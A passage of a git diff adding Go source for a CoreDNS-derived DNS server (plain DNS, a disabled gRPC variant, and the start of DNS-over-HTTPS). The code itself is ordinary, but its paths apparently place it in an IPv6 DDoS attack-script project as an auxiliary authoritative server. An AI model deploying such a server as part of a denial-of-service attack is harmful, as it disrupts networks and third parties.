// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
|
||||
// comes before the plugin you are checking; it will not be there (yet).
|
||||
func (c *Config) Handlers() []plugin.Handler {
|
||||
if c.registry == nil {
|
||||
return nil
|
||||
}
|
||||
hs := make([]plugin.Handler, 0, len(c.registry))
|
||||
for k := range c.registry {
|
||||
hs = append(hs, c.registry[k])
|
||||
}
|
||||
return hs
|
||||
}
|
||||
|
||||
func (h *dnsContext) validateZonesAndListeningAddresses() error {
|
||||
//Validate Zone and addresses
|
||||
checker := newOverlapZone()
|
||||
for _, conf := range h.configs {
|
||||
for _, h := range conf.ListenHosts {
|
||||
// Validate the overlapping of ZoneAddr
|
||||
akey := zoneAddr{Transport: conf.Transport, Zone: conf.Zone, Address: h, Port: conf.Port}
|
||||
var existZone, overlapZone *zoneAddr
|
||||
if len(conf.FilterFuncs) > 0 {
|
||||
// This config has filters. Check for overlap with other (unfiltered) configs.
|
||||
existZone, overlapZone = checker.check(akey)
|
||||
} else {
|
||||
// This config has no filters. Check for overlap with other (unfiltered) configs,
|
||||
// and register the zone to prevent subsequent zones from overlapping with it.
|
||||
existZone, overlapZone = checker.registerAndCheck(akey)
|
||||
}
|
||||
if existZone != nil {
|
||||
return fmt.Errorf("cannot serve %s - it is already defined", akey.String())
|
||||
}
|
||||
if overlapZone != nil {
|
||||
return fmt.Errorf("cannot serve %s - zone overlap listener capacity with %v", akey.String(), overlapZone.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// groupConfigsByListenAddr groups site configs by their listen
|
||||
// (bind) address, so sites that use the same listener can be served
|
||||
// on the same server instance. The return value maps the listen
|
||||
// address (what you pass into net.Listen) to the list of site configs.
|
||||
// This function does NOT vet the configs to ensure they are compatible.
|
||||
func groupConfigsByListenAddr(configs []*Config) (map[string][]*Config, error) {
|
||||
groups := make(map[string][]*Config)
|
||||
for _, conf := range configs {
|
||||
for _, h := range conf.ListenHosts {
|
||||
addr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
addrstr := conf.Transport + "://" + addr.String()
|
||||
groups[addrstr] = append(groups[addrstr], conf)
|
||||
}
|
||||
}
|
||||
|
||||
return groups, nil
|
||||
}
|
||||
|
||||
// DefaultPort is the default port.
|
||||
const DefaultPort = transport.Port
|
||||
|
||||
// These "soft defaults" are configurable by
|
||||
// command line flags, etc.
|
||||
var (
|
||||
// Port is the port we listen on by default.
|
||||
Port = DefaultPort
|
||||
|
||||
// GracefulTimeout is the maximum duration of a graceful shutdown.
|
||||
GracefulTimeout time.Duration
|
||||
)
|
||||
|
||||
var _ caddy.GracefulServer = new(Server)
|
||||
456
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server.go
Normal file
456
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server.go
Normal file
@@ -0,0 +1,456 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/miekg/dns"
|
||||
ot "github.com/opentracing/opentracing-go"
|
||||
"net"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/edns"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/rcode"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/trace"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"ohmydns2/plugin/prometheus/vars"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Server represents an instance of a server, which serves
|
||||
// DNS requests at a particular address (host and port). A
|
||||
// server is capable of serving numerous zones on
|
||||
// the same address and the listener may be stopped for
|
||||
// graceful termination (POSIX only).
|
||||
type Server struct {
|
||||
Addr string // Address we listen on
|
||||
|
||||
server [2]*dns.Server // 0 is a net.Listener, 1 is a net.PacketConn (a *UDPConn) in our case.
|
||||
m sync.Mutex // protects the servers
|
||||
|
||||
zones map[string][]*Config // zones keyed by their address
|
||||
dnsWg sync.WaitGroup // used to wait on outstanding connections
|
||||
graceTimeout time.Duration // the maximum duration of a graceful shutdown
|
||||
trace trace.Trace // the trace plugin for the server
|
||||
debug bool // disable recover()
|
||||
stacktrace bool // enable stacktrace in recover error log
|
||||
classChaos bool // allow non-INET class queries
|
||||
idleTimeout time.Duration // Idle timeout for TCP
|
||||
readTimeout time.Duration // Read timeout for TCP
|
||||
writeTimeout time.Duration // Write timeout for TCP
|
||||
|
||||
tsigSecret map[string]string
|
||||
}
|
||||
|
||||
// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins
|
||||
type MetadataCollector interface {
|
||||
Collect(context.Context, request.Request) context.Context
|
||||
}
|
||||
|
||||
// NewServer returns a new OhmyDNS server and compiles all plugins in to it. By default CH class
|
||||
// queries are blocked unless queries from enableChaos are loaded.
|
||||
func NewServer(addr string, group []*Config) (*Server, error) {
|
||||
s := &Server{
|
||||
Addr: addr,
|
||||
zones: make(map[string][]*Config),
|
||||
graceTimeout: 5 * time.Second,
|
||||
idleTimeout: 10 * time.Second,
|
||||
readTimeout: 3 * time.Second,
|
||||
writeTimeout: 5 * time.Second,
|
||||
tsigSecret: make(map[string]string),
|
||||
}
|
||||
log.Infof("Do53服务启动,监听地址: %v", addr)
|
||||
|
||||
// We have to bound our wg with one increment
|
||||
// to prevent a "race condition" that is hard-coded
|
||||
// into sync.WaitGroup.Wait() - basically, an add
|
||||
// with a positive delta must be guaranteed to
|
||||
// occur before Wait() is called on the wg.
|
||||
// In a way, this kind of acts as a safety barrier.
|
||||
s.dnsWg.Add(1)
|
||||
|
||||
for _, site := range group {
|
||||
if site.Debug {
|
||||
s.debug = true
|
||||
log.D.Set()
|
||||
}
|
||||
s.stacktrace = site.Stacktrace
|
||||
|
||||
// append the config to the zone's configs
|
||||
s.zones[site.Zone] = append(s.zones[site.Zone], site)
|
||||
|
||||
// set timeouts
|
||||
if site.ReadTimeout != 0 {
|
||||
s.readTimeout = site.ReadTimeout
|
||||
}
|
||||
if site.WriteTimeout != 0 {
|
||||
s.writeTimeout = site.WriteTimeout
|
||||
}
|
||||
if site.IdleTimeout != 0 {
|
||||
s.idleTimeout = site.IdleTimeout
|
||||
}
|
||||
|
||||
// copy tsig secrets
|
||||
for key, secret := range site.TsigSecret {
|
||||
s.tsigSecret[key] = secret
|
||||
}
|
||||
|
||||
// compile custom plugin for everything
|
||||
var stack plugin.Handler
|
||||
for i := len(site.Plugin) - 1; i >= 0; i-- {
|
||||
stack = site.Plugin[i](stack)
|
||||
|
||||
// register the *handler* also
|
||||
site.registerHandler(stack)
|
||||
|
||||
// If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin
|
||||
// list backwards, so the first MetadataCollector plugin wins.
|
||||
if mdc, ok := stack.(MetadataCollector); ok {
|
||||
site.metaCollector = mdc
|
||||
}
|
||||
|
||||
if s.trace == nil && stack.Name() == "trace" {
|
||||
// we have to stash away the plugin, not the
|
||||
// Tracer object, because the Tracer won't be initialized yet
|
||||
if t, ok := stack.(trace.Trace); ok {
|
||||
s.trace = t
|
||||
}
|
||||
}
|
||||
// Unblock CH class queries when any of these plugins are loaded.
|
||||
if _, ok := EnableChaos[stack.Name()]; ok {
|
||||
s.classChaos = true
|
||||
}
|
||||
}
|
||||
site.pluginChain = stack
|
||||
}
|
||||
|
||||
if !s.debug {
|
||||
// When reloading we need to explicitly disable debug logging if it is now disabled.
|
||||
log.D.Clear()
|
||||
}
|
||||
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &Server{}
|
||||
|
||||
// Serve starts the server with an existing listener. It blocks until the server stops.
|
||||
// This implements caddy.TCPServer interface.
|
||||
func (s *Server) Serve(l net.Listener) error {
|
||||
s.m.Lock()
|
||||
|
||||
s.server[tcp] = &dns.Server{Listener: l,
|
||||
Net: "tcp",
|
||||
TsigSecret: s.tsigSecret,
|
||||
MaxTCPQueries: tcpMaxQueries,
|
||||
ReadTimeout: s.readTimeout,
|
||||
WriteTimeout: s.writeTimeout,
|
||||
IdleTimeout: func() time.Duration {
|
||||
return s.idleTimeout
|
||||
},
|
||||
Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
|
||||
ctx := context.WithValue(context.Background(), Key{}, s)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
s.ServeDNS(ctx, w, r)
|
||||
})}
|
||||
|
||||
s.m.Unlock()
|
||||
|
||||
return s.server[tcp].ActivateAndServe()
|
||||
}
|
||||
|
||||
// ServePacket starts the server with an existing packetconn. It blocks until the server stops.
|
||||
// This implements caddy.UDPServer interface.
|
||||
func (s *Server) ServePacket(p net.PacketConn) error {
|
||||
s.m.Lock()
|
||||
s.server[udp] = &dns.Server{PacketConn: p, Net: "udp", Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
|
||||
ctx := context.WithValue(context.Background(), Key{}, s)
|
||||
ctx = context.WithValue(ctx, LoopKey{}, 0)
|
||||
s.ServeDNS(ctx, w, r)
|
||||
}), TsigSecret: s.tsigSecret}
|
||||
s.m.Unlock()
|
||||
|
||||
return s.server[udp].ActivateAndServe()
|
||||
}
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (s *Server) Listen() (net.Listener, error) {
|
||||
l, err := reuseport.Listen("tcp", s.Addr[len(transport.DNS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return l, nil
|
||||
}
|
||||
|
||||
// WrapListener Listen implements caddy.GracefulServer interface.
|
||||
func (s *Server) WrapListener(ln net.Listener) net.Listener {
|
||||
return ln
|
||||
}
|
||||
|
||||
// ListenPacket implements caddy.UDPServer interface.
|
||||
func (s *Server) ListenPacket() (net.PacketConn, error) {
|
||||
p, err := reuseport.ListenPacket("udp", s.Addr[len(transport.DNS+"://"):])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// Stop stops the server. It blocks until the server is
|
||||
// totally stopped. On POSIX systems, it will wait for
|
||||
// connections to close (up to a max timeout of a few
|
||||
// seconds); on Windows it will close the listener
|
||||
// immediately.
|
||||
// This implements Caddy.Stopper interface.
|
||||
func (s *Server) Stop() (err error) {
|
||||
if runtime.GOOS != "windows" {
|
||||
// force connections to close after timeout
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
s.dnsWg.Done() // decrement our initial increment used as a barrier
|
||||
s.dnsWg.Wait()
|
||||
close(done)
|
||||
}()
|
||||
|
||||
// Wait for remaining connections to finish or
|
||||
// force them all to close after timeout
|
||||
select {
|
||||
case <-time.After(s.graceTimeout):
|
||||
case <-done:
|
||||
}
|
||||
}
|
||||
|
||||
// Close the listener now; this stops the server without delay
|
||||
s.m.Lock()
|
||||
for _, s1 := range s.server {
|
||||
// We might not have started and initialized the full set of servers
|
||||
if s1 != nil {
|
||||
err = s1.Shutdown()
|
||||
}
|
||||
}
|
||||
s.m.Unlock()
|
||||
return
|
||||
}
|
||||
|
||||
// Address together with Stop() implement caddy.GracefulServer.
|
||||
func (s *Server) Address() string { return s.Addr }
|
||||
|
||||
// ServeDNS is the entry point for every request to the address that
|
||||
// is bound to. It acts as a multiplexer for the requests zonename as
|
||||
// defined in the request so that the correct zone
|
||||
// (configuration and plugin stack) will handle the request.
|
||||
func (s *Server) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) {
|
||||
// The default dns.Mux checks the question section size, but we have our
|
||||
// own mux here. Check if we have a question section. If not drop them here.
|
||||
if r == nil || len(r.Question) == 0 {
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure)
|
||||
return
|
||||
}
|
||||
|
||||
if !s.debug {
|
||||
defer func() {
|
||||
// In case the user doesn't enable error plugin, we still
|
||||
// need to make sure that we stay alive up here
|
||||
if rec := recover(); rec != nil {
|
||||
if s.stacktrace {
|
||||
log.Errorf("Recovered from panic in server: %q %v\n%s", s.Addr, rec, string(debug.Stack()))
|
||||
} else {
|
||||
log.Errorf("Recovered from panic in server: %q %v", s.Addr, rec)
|
||||
}
|
||||
vars.Panic.Inc()
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if !s.classChaos && r.Question[0].Qclass != dns.ClassINET {
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
|
||||
return
|
||||
}
|
||||
|
||||
if m, err := edns.Version(r); err != nil { // Wrong EDNS version, return at once.
|
||||
w.WriteMsg(m)
|
||||
return
|
||||
}
|
||||
|
||||
// Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer.
|
||||
w = request.NewScrubWriter(r, w)
|
||||
|
||||
q := strings.ToLower(r.Question[0].Name)
|
||||
var (
|
||||
off int
|
||||
end bool
|
||||
dshandler *Config
|
||||
)
|
||||
|
||||
for {
|
||||
if z, ok := s.zones[q[off:]]; ok {
|
||||
for _, h := range z {
|
||||
if h.pluginChain == nil { // zone defined, but has not got any plugins
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
|
||||
return
|
||||
}
|
||||
|
||||
if h.metaCollector != nil {
|
||||
// Collect metadata now, so it can be used before we send a request down the plugin chain.
|
||||
ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w})
|
||||
}
|
||||
|
||||
// If all filter funcs pass, use this config.
|
||||
if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) {
|
||||
if h.ViewName != "" {
|
||||
// if there was a view defined for this Config, set the view name in the context
|
||||
ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
|
||||
}
|
||||
if r.Question[0].Qtype != dns.TypeDS {
|
||||
rcode, _ := h.pluginChain.ServeDNS(ctx, w, r)
|
||||
if !plugin.ClientWrite(rcode) {
|
||||
errorFunc(s.Addr, w, r, rcode)
|
||||
}
|
||||
return
|
||||
}
|
||||
// The type is DS, keep the handler, but keep on searching as maybe we are serving
|
||||
// the parent as well and the DS should be routed to it - this will probably *misroute* DS
|
||||
// queries to a possibly grand parent, but there is no way for us to know at this point
|
||||
// if there is an actual delegation from grandparent -> parent -> zone.
|
||||
// In all fairness: direct DS queries should not be needed.
|
||||
dshandler = h
|
||||
}
|
||||
}
|
||||
}
|
||||
off, end = dns.NextLabel(q, off)
|
||||
if end {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if r.Question[0].Qtype == dns.TypeDS && dshandler != nil && dshandler.pluginChain != nil {
|
||||
// DS request, and we found a zone, use the handler for the query.
|
||||
rcode, _ := dshandler.pluginChain.ServeDNS(ctx, w, r)
|
||||
if !plugin.ClientWrite(rcode) {
|
||||
errorFunc(s.Addr, w, r, rcode)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Wildcard match, if we have found nothing try the root zone as a last resort.
|
||||
if z, ok := s.zones["."]; ok {
|
||||
for _, h := range z {
|
||||
if h.pluginChain == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if h.metaCollector != nil {
|
||||
// Collect metadata now, so it can be used before we send a request down the plugin chain.
|
||||
ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w})
|
||||
}
|
||||
|
||||
// If all filter funcs pass, use this config.
|
||||
if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) {
|
||||
if h.ViewName != "" {
|
||||
// if there was a view defined for this Config, set the view name in the context
|
||||
ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
|
||||
}
|
||||
rcode, _ := h.pluginChain.ServeDNS(ctx, w, r)
|
||||
if !plugin.ClientWrite(rcode) {
|
||||
errorFunc(s.Addr, w, r, rcode)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Still here? Error out with REFUSED.
|
||||
errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
|
||||
}
|
||||
|
||||
// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request
|
||||
func passAllFilterFuncs(ctx context.Context, filterFuncs []FilterFunc, req *request.Request) bool {
|
||||
for _, ff := range filterFuncs {
|
||||
if !ff(ctx, req) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// OnStartupComplete lists the sites served by this server
|
||||
// and any relevant information, assuming Quiet is false.
|
||||
func (s *Server) OnStartupComplete() {
|
||||
if Quiet {
|
||||
return
|
||||
}
|
||||
|
||||
out := startUpZones("", s.Addr, s.zones)
|
||||
if out != "" {
|
||||
fmt.Print(out)
|
||||
}
|
||||
}
|
||||
|
||||
// Tracer returns the tracer in the server if defined.
|
||||
func (s *Server) Tracer() ot.Tracer {
|
||||
if s.trace == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
return s.trace.Tracer()
|
||||
}
|
||||
|
||||
// errorFunc responds to an DNS request with an error.
|
||||
func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
|
||||
answer := new(dns.Msg)
|
||||
answer.SetRcode(r, rc)
|
||||
state.SizeAndDo(answer)
|
||||
|
||||
w.WriteMsg(answer)
|
||||
}
|
||||
|
||||
func errorAndMetricsFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {
|
||||
state := request.Request{W: w, Req: r}
|
||||
|
||||
answer := new(dns.Msg)
|
||||
answer.SetRcode(r, rc)
|
||||
state.SizeAndDo(answer)
|
||||
|
||||
vars.Report(server, state, vars.Dropped, "", rcode.ToString(rc), "" /* plugin */, answer.Len(), time.Now())
|
||||
|
||||
w.WriteMsg(answer)
|
||||
}
|
||||
|
||||
const (
|
||||
tcp = 0
|
||||
udp = 1
|
||||
|
||||
tcpMaxQueries = -1
|
||||
)
|
||||
|
||||
type (
|
||||
// Key is the context key for the current server added to the context.
|
||||
Key struct{}
|
||||
|
||||
// LoopKey is the context key to detect server wide loops.
|
||||
LoopKey struct{}
|
||||
|
||||
// ViewKey is the context key for the current view, if defined
|
||||
ViewKey struct{}
|
||||
)
|
||||
|
||||
// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default.
|
||||
var EnableChaos = map[string]struct{}{
|
||||
"chaos": {},
|
||||
"forward": {},
|
||||
"proxy": {},
|
||||
}
|
||||
|
||||
// Quiet mode will not show any informative output on initialization.
|
||||
var Quiet bool
|
||||
180
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_grpc.go
Normal file
180
att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_grpc.go
Normal file
@@ -0,0 +1,180 @@
|
||||
package dnsserver
|
||||
|
||||
//暂不启用
|
||||
//
|
||||
//import (
|
||||
// "crypto/tls"
|
||||
// "errors"
|
||||
// "fmt"
|
||||
// "net"
|
||||
// "ohmydns2/plugin/pkg/reuseport"
|
||||
// "ohmydns2/plugin/pkg/transport"
|
||||
//
|
||||
// "github.com/coredns/caddy"
|
||||
// "github.com/miekg/dns"
|
||||
// "github.com/opentracing/opentracing-go"
|
||||
//)
|
||||
//
|
||||
//// ServergRPC represents an instance of a DNS-over-gRPC server.
|
||||
//type ServergRPC struct {
|
||||
// *Server
|
||||
// *pb.UnimplementedDnsServiceServer
|
||||
// grpcServer *grpc.Server
|
||||
// listenAddr net.Addr
|
||||
// tlsConfig *tls.Config
|
||||
//}
|
||||
//
|
||||
//// NewServergRPC returns a new CoreDNS GRPC server and compiles all plugin in to it.
|
||||
//func NewServergRPC(addr string, group []*Config) (*ServergRPC, error) {
|
||||
// s, err := NewServer(addr, group)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// // The *tls* plugin must make sure that multiple conflicting
|
||||
// // TLS configuration returns an error: it can only be specified once.
|
||||
// var tlsConfig *tls.Config
|
||||
// for _, z := range s.zones {
|
||||
// for _, conf := range z {
|
||||
// // Should we error if some configs *don't* have TLS?
|
||||
// tlsConfig = conf.TLSConfig
|
||||
// }
|
||||
// }
|
||||
// // http/2 is required when using gRPC. We need to specify it in next protos
|
||||
// // or the upgrade won't happen.
|
||||
// if tlsConfig != nil {
|
||||
// tlsConfig.NextProtos = []string{"h2"}
|
||||
// }
|
||||
//
|
||||
// return &ServergRPC{Server: s, tlsConfig: tlsConfig}, nil
|
||||
//}
|
||||
//
|
||||
//// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
//var _ caddy.GracefulServer = &Server{}
|
||||
//
|
||||
//// Serve implements caddy.TCPServer interface.
|
||||
//func (s *ServergRPC) Serve(l net.Listener) error {
|
||||
// s.m.Lock()
|
||||
// s.listenAddr = l.Addr()
|
||||
// s.m.Unlock()
|
||||
//
|
||||
// if s.Tracer() != nil {
|
||||
// onlyIfParent := func(parentSpanCtx opentracing.SpanContext, method string, req, resp interface{}) bool {
|
||||
// return parentSpanCtx != nil
|
||||
// }
|
||||
// intercept := otgrpc.OpenTracingServerInterceptor(s.Tracer(), otgrpc.IncludingSpans(onlyIfParent))
|
||||
// s.grpcServer = grpc.NewServer(grpc.UnaryInterceptor(intercept))
|
||||
// } else {
|
||||
// s.grpcServer = grpc.NewServer()
|
||||
// }
|
||||
//
|
||||
// pb.RegisterDnsServiceServer(s.grpcServer, s)
|
||||
//
|
||||
// if s.tlsConfig != nil {
|
||||
// l = tls.NewListener(l, s.tlsConfig)
|
||||
// }
|
||||
// return s.grpcServer.Serve(l)
|
||||
//}
|
||||
//
|
||||
//// ServePacket implements caddy.UDPServer interface.
|
||||
//func (s *ServergRPC) ServePacket(p net.PacketConn) error { return nil }
|
||||
//
|
||||
//// Listen implements caddy.TCPServer interface.
|
||||
//func (s *ServergRPC) Listen() (net.Listener, error) {
|
||||
// l, err := reuseport.Listen("tcp", s.Addr[len(transport.GRPC+"://"):])
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// return l, nil
|
||||
//}
|
||||
//
|
||||
//// ListenPacket implements caddy.UDPServer interface.
|
||||
//func (s *ServergRPC) ListenPacket() (net.PacketConn, error) { return nil, nil }
|
||||
//
|
||||
//// OnStartupComplete lists the sites served by this server
|
||||
//// and any relevant information, assuming Quiet is false.
|
||||
//func (s *ServergRPC) OnStartupComplete() {
|
||||
// if Quiet {
|
||||
// return
|
||||
// }
|
||||
//
|
||||
// out := startUpZones(transport.GRPC+"://", s.Addr, s.zones)
|
||||
// if out != "" {
|
||||
// fmt.Print(out)
|
||||
// }
|
||||
//}
|
||||
//
|
||||
//// Stop stops the server. It blocks until the server is
|
||||
//// totally stopped.
|
||||
//func (s *ServergRPC) Stop() (err error) {
|
||||
// s.m.Lock()
|
||||
// defer s.m.Unlock()
|
||||
// if s.grpcServer != nil {
|
||||
// s.grpcServer.GracefulStop()
|
||||
// }
|
||||
// return
|
||||
//}
|
||||
//
|
||||
//// Query is the main entry-point into the gRPC server. From here we call ServeDNS like
|
||||
//// any normal server. We use a custom responseWriter to pick up the bytes we need to write
|
||||
//// back to the client as a protobuf.
|
||||
//func (s *ServergRPC) Query(ctx context.Context, in *pb.DnsPacket) (*pb.DnsPacket, error) {
|
||||
// msg := new(dns.Msg)
|
||||
// err := msg.Unpack(in.Msg)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
//
|
||||
// p, ok := peer.FromContext(ctx)
|
||||
// if !ok {
|
||||
// return nil, errors.New("no peer in gRPC context")
|
||||
// }
|
||||
//
|
||||
// a, ok := p.Addr.(*net.TCPAddr)
|
||||
// if !ok {
|
||||
// return nil, fmt.Errorf("no TCP peer in gRPC context: %v", p.Addr)
|
||||
// }
|
||||
//
|
||||
// w := &gRPCresponse{localAddr: s.listenAddr, remoteAddr: a, Msg: msg}
|
||||
//
|
||||
// dnsCtx := context.WithValue(ctx, Key{}, s.Server)
|
||||
// dnsCtx = context.WithValue(dnsCtx, LoopKey{}, 0)
|
||||
// s.ServeDNS(dnsCtx, w, msg)
|
||||
//
|
||||
// packed, err := w.Msg.Pack()
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
//
|
||||
// return &pb.DnsPacket{Msg: packed}, nil
|
||||
//}
|
||||
//
|
||||
//// Shutdown stops the server (non gracefully).
|
||||
//func (s *ServergRPC) Shutdown() error {
|
||||
// if s.grpcServer != nil {
|
||||
// s.grpcServer.Stop()
|
||||
// }
|
||||
// return nil
|
||||
//}
|
||||
//
|
||||
//type gRPCresponse struct {
|
||||
// localAddr net.Addr
|
||||
// remoteAddr net.Addr
|
||||
// Msg *dns.Msg
|
||||
//}
|
||||
//
|
||||
//// Write is the hack that makes this work. It does not actually write the message
|
||||
//// but returns the bytes we need to write in r. We can then pick this up in Query
|
||||
//// and write a proper protobuf back to the client.
|
||||
//func (r *gRPCresponse) Write(b []byte) (int, error) {
|
||||
// r.Msg = new(dns.Msg)
|
||||
// return len(b), r.Msg.Unpack(b)
|
||||
//}
|
||||
//
|
||||
//// These methods implement the dns.ResponseWriter interface from Go DNS.
|
||||
//func (r *gRPCresponse) Close() error { return nil }
|
||||
//func (r *gRPCresponse) TsigStatus() error { return nil }
|
||||
//func (r *gRPCresponse) TsigTimersOnly(b bool) {}
|
||||
//func (r *gRPCresponse) Hijack() {}
|
||||
//func (r *gRPCresponse) LocalAddr() net.Addr { return r.localAddr }
|
||||
//func (r *gRPCresponse) RemoteAddr() net.Addr { return r.remoteAddr }
|
||||
//func (r *gRPCresponse) WriteMsg(m *dns.Msg) error { r.Msg = m; return nil }
|
||||
@@ -0,0 +1,209 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
stdlog "log"
|
||||
"net"
|
||||
"net/http"
|
||||
"ohmydns2/plugin/pkg/dnsutil"
|
||||
"ohmydns2/plugin/pkg/doh"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"ohmydns2/plugin/pkg/response"
|
||||
"ohmydns2/plugin/pkg/reuseport"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"ohmydns2/plugin/prometheus/vars"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
// ServerHTTPS represents an instance of a DNS-over-HTTPS server.
|
||||
type ServerHTTPS struct {
|
||||
*Server
|
||||
httpsServer *http.Server
|
||||
listenAddr net.Addr
|
||||
tlsConfig *tls.Config
|
||||
validRequest func(*http.Request) bool
|
||||
}
|
||||
|
||||
// loggerAdapter is a simple adapter around OhmyDNS logger made to implement io.Writer in order to log errors from HTTP server
|
||||
type loggerAdapter struct {
|
||||
}
|
||||
|
||||
func (l *loggerAdapter) Write(p []byte) (n int, err error) {
|
||||
olog.Debug(string(p))
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// HTTPRequestKey is the context key for the current processed HTTP request (if current processed request was done over DOH)
|
||||
type HTTPRequestKey struct{}
|
||||
|
||||
// NewServerHTTPS returns a new CoreDNS HTTPS server and compiles all plugins in to it.
|
||||
func NewServerHTTPS(addr string, group []*Config) (*ServerHTTPS, error) {
|
||||
s, err := NewServer(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// The *tls* plugin must make sure that multiple conflicting
|
||||
// TLS configuration returns an error: it can only be specified once.
|
||||
var tlsConfig *tls.Config
|
||||
for _, z := range s.zones {
|
||||
for _, conf := range z {
|
||||
// Should we error if some configs *don't* have TLS?
|
||||
tlsConfig = conf.TLSConfig
|
||||
}
|
||||
}
|
||||
|
||||
// http/2 is recommended when using DoH. We need to specify it in next protos
|
||||
// or the upgrade won't happen.
|
||||
if tlsConfig != nil {
|
||||
tlsConfig.NextProtos = []string{"h2", "http/1.1"}
|
||||
}
|
||||
|
||||
// Use a custom request validation func or use the standard DoH path check.
|
||||
var validator func(*http.Request) bool
|
||||
for _, z := range s.zones {
|
||||
for _, conf := range z {
|
||||
validator = conf.HTTPRequestValidateFunc
|
||||
}
|
||||
}
|
||||
if validator == nil {
|
||||
validator = func(r *http.Request) bool { return r.URL.Path == doh.Path }
|
||||
}
|
||||
|
||||
srv := &http.Server{
|
||||
ReadTimeout: s.readTimeout,
|
||||
WriteTimeout: s.writeTimeout,
|
||||
IdleTimeout: s.idleTimeout,
|
||||
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
|
||||
}
|
||||
sh := &ServerHTTPS{
|
||||
Server: s, tlsConfig: tlsConfig, httpsServer: srv, validRequest: validator,
|
||||
}
|
||||
sh.httpsServer.Handler = sh
|
||||
|
||||
return sh, nil
|
||||
}
|
||||
|
||||
// Compile-time check to ensure Server implements the caddy.GracefulServer interface
|
||||
var _ caddy.GracefulServer = &Server{}
|
||||
|
||||
// Serve implements caddy.TCPServer interface.
|
||||
func (s *ServerHTTPS) Serve(l net.Listener) error {
|
||||
s.m.Lock()
|
||||
s.listenAddr = l.Addr()
|
||||
s.m.Unlock()
|
||||
|
||||
if s.tlsConfig != nil {
|
||||
l = tls.NewListener(l, s.tlsConfig)
|
||||
}
|
||||
return s.httpsServer.Serve(l)
|
||||
}
|
||||
|
||||
// ServePacket implements caddy.UDPServer interface.
|
||||
func (s *ServerHTTPS) ServePacket(p net.PacketConn) error { return nil }
|
||||
|
||||
// Listen implements caddy.TCPServer interface.
|
||||
func (s *ServerHTTPS) Listen() (net.Listener, error) {
|
||||
